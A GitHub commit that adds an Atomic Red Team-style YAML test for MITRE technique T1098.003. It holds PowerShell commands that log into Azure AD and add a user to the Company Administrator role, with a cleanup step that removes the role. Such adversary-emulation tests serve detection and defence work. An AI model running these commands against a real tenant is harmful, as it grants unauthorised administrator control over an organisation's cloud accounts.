Create T1098.003.yaml (#2478)

* Create T1098.003.yaml

* add header info

---------

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
Co-authored-by: Hare Sudhan <code@0x6c.dev>
Co-authored-by: Bhavin Patel <bhavin.j.patel91@gmail.com>
This commit is contained in:
BlueTeamOps
2023-08-05 10:47:06 +10:00
committed by GitHub
parent 6af8c8fe51
commit d8aa2f4f70
+41
View File
@@ -0,0 +1,41 @@
attack_technique: T1098.003
display_name: 'Account Manipulation: Additional Cloud Roles'
atomic_tests:
- name: Azure AD - Add Company Administrator Role to a user
auto_generated_guid: 4d77f913-56f5-4a14-b4b1-bf7bb24298ad
description: |
Add an existing Azure user account the Company Administrator Role.
supported_platforms:
- azure-ad
input_arguments:
username:
description: Azure AD username
type: string
default: jonh@contoso.com
password:
description: Azure AD password
type: string
default: p4sswd
target_user:
description: Name of the user who will be assigned the Company Admin role
type: string
default: default
dependency_executor_name: powershell
dependencies:
- description: |
MSOnline module must be installed.
prereq_command: |
try {if (Get-InstalledModule -Name MSOnline -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}
get_prereq_command: |
Install-Module -Name MSOnline -Force
executor:
command: |
Import-Module MSOnline
$Password = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Password
Connect-MsolService -Credential $Credential
Add-MsolRoleMember -RoleName "Company Administrator" -RoleMemberEmailAddress "#{target_user}"
cleanup_command: |
Remove-MsolRoleMember -RoleName "Company Administrator" -RoleMemberType User -RoleMemberEmailAddress "#{target_user}"
name: powershell
elevation_required: false